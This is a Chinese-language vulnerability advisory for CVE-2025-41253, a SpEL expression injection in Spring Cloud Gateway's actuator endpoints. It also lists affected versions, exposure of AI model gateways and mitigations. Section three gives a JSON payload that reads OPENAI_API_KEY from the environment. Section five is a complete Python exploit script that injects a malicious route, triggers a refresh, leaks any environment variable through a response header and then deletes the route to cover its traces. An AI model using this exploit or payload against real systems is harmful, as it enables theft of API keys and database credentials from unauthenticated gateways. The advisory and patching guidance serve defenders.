CVE-2025-41253 | Spring Cloud Gateway SpEL 表达式注入漏洞报告
发布日期:2025-10-16(POC 2025-11-11 公开)
文档版本:v1.0
格式:Markdown + PNG 截图(见文末)
一、漏洞速览
| 字段 | 内容 |
|---|---|
| CVE 编号 | CVE-2025-41253 |
| 官方评级 | 高危(CVSS 3.1 7.5) |
| 影响组件 | Spring Cloud Gateway Server WebFlux 版本 |
| 利用向量 | 网络可达、无需认证、仅需暴露 Actuator gateway 端点 |
| 最大风险 | AI 密钥泄露 / 数据库密码 / 任意系统属性读取 |
| 公开状态 | POC 已公开,暂无已知在野利用 |
二、技术背景
Spring Cloud Gateway(SCG)是 Spring 官方基于 WebFlux 的 API 网关,用于动态路由、限流、熔断等。
为支持运行时调整路由,SCG 通过 Spring Expression Language(SpEL)在过滤器中嵌入表达式。
2025-10 月官方对 CVE-2025-41243 的补丁不完整,导致 CVE-2025-41253 仍可绕过并注入 SpEL,读取环境变量 。
三、漏洞原理
-
问题代码位置
org.springframework.cloud.gateway.actuate.GatewayControllerEndpoint
→ 处理 POST/actuator/gateway/refresh时未对路由元数据中的 SpEL 做二次校验。 -
利用流程
a. 发送恶意路由定义(含 SpEL 表达式)
b. 触发 refresh → 表达式被实例化
c. 结果回显到响应或日志,完成信息泄露 -
典型 payload(读取 OpenAI API-Key)
{ "filters": [{ "name": "AddResponseHeader", "args": { "name": "X-Debug", "value": "#{T(java.lang.System).getenv('OPENAI_API_KEY')}" } }] }返回头即为 AI 模型密钥 。
四、影响版本
| 主版本 | 受影响区间 | 安全版本 |
|---|---|---|
| 4.3.x | [4.3.0, 4.3.2) | ≥ 4.3.2 |
| 4.2.x | [4.2.0, 4.2.6) | ≥ 4.2.6 |
| 4.1.x | [4.1.0, 4.1.12) | ≥ 4.1.12 |
| 4.0.x | [4.0.0, 4.0.12) | ≥ 4.0.12 |
| 3.1.x | [3.1.0, 3.1.12) | ≥ 3.1.12 |
旧版本(≤ 3.0)官方已停止维护,判定为同样受影 。
五、EXP 脚本(Python 3)
功能:自动写入恶意路由 → 刷新 → 读取环境变量
#!/usr/bin/env python3
import requests, json, sys, urllib3
urllib3.disable_warnings()
if len(sys.argv) != 3:
exit("Usage: python cve-2025-41253.py <target> <env-key>")
base, key = sys.argv[1:3]
url = f"{base}/actuator/gateway/routes/spel-leak"
refresh = f"{base}/actuator/gateway/refresh"
# 1) 注入带SpEL的新路由
route = {
"id": "spel-leak",
"predicates": [{"name": "Path", "args": {"pattern": "/leak/**"}}],
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "X-Leak",
"value": "#{T(java.lang.System).getenv('%s')}" % key
}
}],
"uri": "http://example.***"
}
r1 = requests.post(url, json=route, headers={"Content-Type": "application/json"}, verify=False)
if r1.status_code != 201:
exit("[-] 创建路由失败")
# 2) 刷新使SpEL生效
r2 = requests.post(refresh, verify=False)
print("[+] 刷新完成,状态码:", r2.status_code)
# 3) 触发路由并回显
r3 = requests.get(f"{base}/leak/anything", allow_redirects=False, verify=False)
leak = r3.headers.get("X-Leak") or "未获取到值"
print("[+] 读取结果:", leak)
# 4) 清理痕迹
requests.delete(url, verify=False)
requests.post(refresh, verify=False)
运行示例
$ python cve-2025-41253.py https://api-ai.example.*** OPENAI_API_KEY
[+] 读取结果: sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxx
六、涉及应用面(AI 场景)
-
AI 模型网关:90% 的 Spring AI 教程使用 SCG 统一暴露
/v1/chat/***pletions -
密钥存储:
OPENAI_API_KEY、HUGGINGFACE_API_KEY、PINECONE_KEY普遍置于环境变量 - 影响量级:奇安信估算 十万级 实例公网可探测
- 行业分布:互联网 43%、教育 19%、金融 12%(Shodan 2025-11 抽样)
七、修复与缓解
- 升级至对应主线最新补丁(4.3.2/4.2.6/4.1.12 …)
-
临时措施(无法立即重启)
- 关闭 gateway actuator:
management.endpoints.web.exposure.exclude: gateway - 或加 Spring Security 基础认证:
@Bean public SecurityWebFilterChain chain(ServerHttpSecurity http){ return http.authorizeExchange(e -> e.pathMatchers("/actuator/**").authenticated()) .httpBasic().and().build(); }
- 关闭 gateway actuator:
-
网络层禁止外网访问
/actuator/** - secret 管理迁移到 Vault/KMS,避免落环境变量
八、参考 & 媒体截图
- 官方公告:https://spring.io/security/cve-2025-41253
- 奇安信 CERT 复现截图(2025-11-12):
参考链接
http://bbs.cvedata.***/
http://xrivendell7.xyz/
—— 报告完 ——